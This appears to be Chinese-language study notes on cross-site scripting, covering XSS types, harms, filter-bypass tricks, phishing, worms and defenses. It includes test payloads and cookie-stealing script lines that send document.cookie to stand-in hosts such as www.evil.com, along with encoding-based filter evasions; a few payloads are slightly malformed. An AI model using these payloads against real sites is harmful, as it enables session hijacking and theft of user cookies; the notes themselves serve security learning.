XSS初探
1 什么是XSS跨站脚本
跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中，当其他用户浏览这些网页时，就会执行其中的恶意代码，对受害者可能采取Cookie资料盗取、会话劫持、钓鱼欺骗等各种攻击。
XSS跨站脚本本身对WEB服务器没有直接危害，它借助网站进行传播，使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL，当受害者在Web浏览器中打开该URL的时候，恶意脚本会在受害者的计算机上悄悄执行。
2 为什么XSS跨站漏洞会如此普遍和流行？这是由多个因素造成的
2.1、Web 浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力，这些语言可用来创建各种格式丰富的功能，而浏览器只会执行，不会判断数据和程序代码是否恶意。
2.2、 输入与输出是Web应用程序最基本的交互，在这过程之中若没有做好安全防护，web程序很容易会出现XSS漏洞。
2.3、 现在的应用程序大部分是通过安全团队合作完成的，程序员之间的水平参差不齐，很少有人受过正规培训，因此，开发的产品难免出现问题。
2.4、不管是开发人员还是安全工程师，很多都没有真正意识到XSS的真正危害
2.5、触发跨站脚本的方式非常简单，只要向HTML代码中注入脚本即可
3 XSS跨站脚本实例
HTML的script元素标记中间包含JavaScript，这使浏览器知道：当它遇到这一标记时，不应该将此标记内容成HTML或XHTML，从这一点开始，对于内容的控制权已转移给另一个内置浏览器代理---脚本引擎处理。
XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行，而Web浏览器本身的设计是不安全的，它只负责解释和执行Javascript等脚本语言，而不会判断代码本身是否对用户有害。
4 XSS 可能会给网站和用户带来的危害简单概括如下：
4.1、网络钓鱼，包括盗取各类用户帐号；
4.2、窃取用户cookies资料，从而获取用户隐私信息，或利用用户身份进一步对网站执行操作
4.3、劫持用户(浏览器)会话，从而执行任意操作，例如进行非法转帐、强制发表日志、 发送电子邮件等
4.4、强制弹出广告页面、刷流量等
4.5、网页挂马
4.6、进行恶意操作，例如任意纂改页面信息、删除文章等
4.7、进行大量的客户端攻击，如DDoS攻击
4.8、获取客户端信息，例如用户浏览历史、真实IP、开放端口等
4.9、控制受害者机器向其他网站发起攻击
4.10、结合其他漏洞，如csrf漏洞，实施进一步作恶
4.11、提升用户权限，包括进一步渗透网站
4.12、传播跨站脚本蠕虫等
5 XSS分类
5.1、 反射型XSS
反射型xss利用一般是攻击者通过特定手法(比如利用电子邮件)，诱使用户去访问一个包含恶意代码的URL，当受害者单击这些专门设计的链接的时候，恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发，而且只执行一次，非持久化，所以称为反射型跨站式脚本。
5.2、 持久性XSS
6、XSS的发掘
众所周知，数据交互(即输入／输出)的地方最容易产生跨站脚本，因此，我们可以着重对网站的输入框、URL参数处进行测试。当然，所有来自COOKIE、POST表单、HTTP头的内容都可能会产生。
</textarea><script>alert(/XSS/)</script><textarea>
6.1、测试用例
<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<IMG SRC=javascript:alert(String.fromChar(88,83,83))>
"><script>alert(0)</script>
......
6.2、XSS Filter
1、利用<>标记注射<script>Html/Javascript
如果用户可以随心所欲地引入<>等标记，那么他就能操作一个HTML标签，然后通过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。
如：<script>alert('XSS');</script>
因此，XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。
如此一来，某些形式的XSS即不复存在。
2、利用HTML标签属性值执行XSS
假设用户不能构造自己的HTML标记，但是他们还可以使用其他形式来执行XSS，例如HTML标签的属性值。
很多HTML标记中的属性都支持javascript:[code]伪协议的形式，这个特殊的协议类型声明了URL的主体是任意的JavaScript代码，由JavaScript的解释器运行。
所以，用户可以利用部分HTML标记的属性值进行XSS，请看下面的代码：
<table backgroup="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS');">
3、空格回车Tab
如果XSS Filter仅仅把敏感的输入字符例入黑名单，如对敏感自javascript而言，用户可以利用空格、回车和Tab键绕过限制，请看下面的例子：
<img src="javas cript:alert(/xss/)" width=100>
使用关键字拆分的技巧，用户就能突破过滤器的限制，当然，这种技巧不局限在[tab]键，还可以使用回车、空格之类的其他键位符。
4、对标签属性值转码
对普通HTML标记的属性值进行过滤，用户还可以通过编码处理来绕过，因此HTML中属性值本身支持ASCII码形式。ASCII码，即美国信息互换标准代码，是目前计算机最通用的编码标准。因为计算机只能接受数字信息，ASCII码将字符作为数字来表示，以便计算机能够接受和处理，比如大写字母A的ASCII码是65
根据HTML的属性值支持ASCII码的特性，把XSS代码：<img src="javascript:alert('xss');">
替换成：
<img src="javascript:alert(/xss/);">
所以，为了防范利用HTML标签属性值编码XSS，最好也过滤&#\等字符。
5、产生自己的事件
现在，假设用户不能依靠属性值进行跨站，那还有没有其他方法？答案是肯定的，事件就是其中一种方法
既然事件能让JavaScript代码运行，就意味着用户也能利用它执行跨站脚本如：
<img src="#" onerror=alert(/xss/)>
6、利用CSS跨站剖析
7、扰乱过滤规则
利用前面所述的各种技巧，包括HTML标签属性值、事件、CSS、编码技术等，用户能顺利绕过XSS Filter的重重过滤。
程序员在汲取各种经验后，在开发过程中可能已经仔细考虑到各种触发XSS的情况，然后部署好严谨措施，如此一来，系统也变得更加牢固、安全。但不要太自信，请继续看下面示例：
大小写转换
大小写混淆
不用双引号，而用单引号
不使用引号
8、利用字符编码
HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。
为了方便测试，我们接下来使用一个XSS编码工具，以便对字符进行十进制和十六进制的编码解码，该工具还可以实现ESCAPE转码和解码
另外，在JavaScript中有一个eval()函数，该函数可计算字符串，并执行其中的JavaScript代码
eval()也可以执行10进制形式的脚本，但需要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。
JavaScript支持unicode、escapes、十六进制、八进制等编码形式，这种编码技术如果运用于跨站攻击，无疑能大大加强XSS的威力。
9、拆分跨站法
XSS利用方式剖析
1 Cookie窃取攻击剖析
攻击者通常利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS)，攻击者就可以向漏洞页面写入窃取Cookie信息的恶意代码，在用户浏览XSS网页时，攻击者就能够获取受害者当前浏览器中的cookie会话攻击。
2 Cookie会话攻击原理剖析
<script
document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie
</script>
3 Cookie 欺骗实例剖析
XSS Expliot如下：
http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>
XSS Phishing
XSS Phishing Expliot
http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>
1、XSS重定向钓鱼
2、HTML注入式钓鱼
3、XSS跨框架钓鱼
4、Flash钓鱼
4 客户端信息刺探
1 javascript实现端口扫描
2 获取剪贴板内容
3 获取客户端IP地址
5 其它恶意攻击剖析
1 网页挂马
2 DDOS
3 XSS Virus/Worm
XSS测试和工具剖析
1、firebug
2、Tamper Data
3、Live HTTP Headers
4、Fiddler
5、XSS-Proxy
6、AttackAPI
7、Anehta
8、 XSS Shell
发掘XSS漏洞剖析
黑盒测试工具
1、Acunetix Web Vulnerability Scanner
2、XSSDetect
3、Ratproxy
黑盒手动测试
如果针对页面的输入框进行测试，首先可以输入一些触发XSS的敏感字符，如：
< > " ' & #
为了实现准确性和全面性，这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交，然后在提交后的页面查看源代码，根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。如果连最基本的"<>"字符未被转义，说明这个输入框可能存在XSS漏洞，借此再构造完整XSS代码测试。
XSS Worm 剖析
一个完整的XSS Worm攻击流程如下
1、攻击者发现目标存在XSS漏洞，并且可以编写XSS蠕虫
2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击
3、当其他用户访问北感染的空间时，XSS蠕虫执行以下操作
判断用户是否登录，如果已登录就执行下一步：如果没登录则执行其他操作
继续判断用户是否被感染，如果没有就将其感染，如果已感染则跳过
Flash应用安全
编译好flash文件，将文件命名为xss.swf，然后新建一个HTML文件并嵌入该Flash文件：
<object id="test" width="200" height="150">
<param name=movie value="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">
</embed>
</object>
利用嵌入web页面中的Flash进行XSS有一个决定因素：allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性，决定了Flash是否能执行脚本代码。
Flash在客户端提供了两个控制属性：allowScriptAccess属性和allowNetworking属性，其中AllowScriptAccess控制Flash与HTML页面通信，如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信，如果设置不当会导致CSRF。
深入XSS
利用Data URIS进行XSS剖析
Data URI方案和MHTML有些类似，提供了一种通过base64编码在网页中直接潜入文件的方法，利用该方法可以绕过基于黑名单过滤的XSS防御系统。
Data URI 格式：
data:[<mime type>] [;charset=<charset>][;base64],<encode data>
Data URI最有趣的地方是可以让用户把文件嵌入到其他文件中
Data URIS XSS
data URI提供了一个在HTML或者CSS文件中嵌入图片的方法，但没有严格指定嵌入的文件必须是图片，也就是说，我们可以在base64编码后嵌入任何类型的文件，甚至HTML本身。
<a href="data:text/html;base64,PHNj......">test<a>
<object data="data:text/html;base64,PHNj......"></object>
防御XSS攻击
1、使用XSS Filter
输入过滤
输出编码
黑名单和白名单
2、定制过滤策略
3、Web定制编码规范
4、防御DOM-Based XSS
5、其他防御方式
XSS与字符编码的那些事儿
html实体编码(10进制与16进制)
如把尖括号编码[<] ------>html十进制;< html十六进制:<
html实体编码本身存在的意义是防止与HTML本身语义标记的冲突,但是在XSS中却成为了我们的一大利器。
javascript的八进制跟十六进制
如把尖括号编码[<] ------> js八进制:\74 js十六进制:\x3c
jsunicode编码
如把尖括号编码[<] ------>jsunicode:\u003c
url编码base64
如把尖括号编码[<] ------>url: %3c base64: PA==
HTTP请求头
消息头 解释
Host 请求的域名
User-Agent 客户端浏览器型号
Accept 可接受的内容类型
Accept-Language 可接受的语言
Accept-Encoding 可接受的压缩类型
Accept-Charset 可接受的内容编码
Cookie 客户端的用户Cookie
if-Modified-Since 客户端的缓存的最后修改时间
if-None-Match 客户端缓存文件的标示符
HTTP响应报头
消息头 解释
Server Web服务器软件名称
Vary 告诉下游代理是使用缓存响应还是从原始服务请求
Date 原始服务器消息发出的时间
Last-Modified 请求资源的最后修改时间
Location 用来重定向接收方到非请求URL的位置来完成请求或标识新的资源
Content-Encoding Web服务器支持的返回内容压缩编码类型
Content-Type 返回内容的MIME类型
Content-Length 响应体的长度
Content-Language 响应的语言
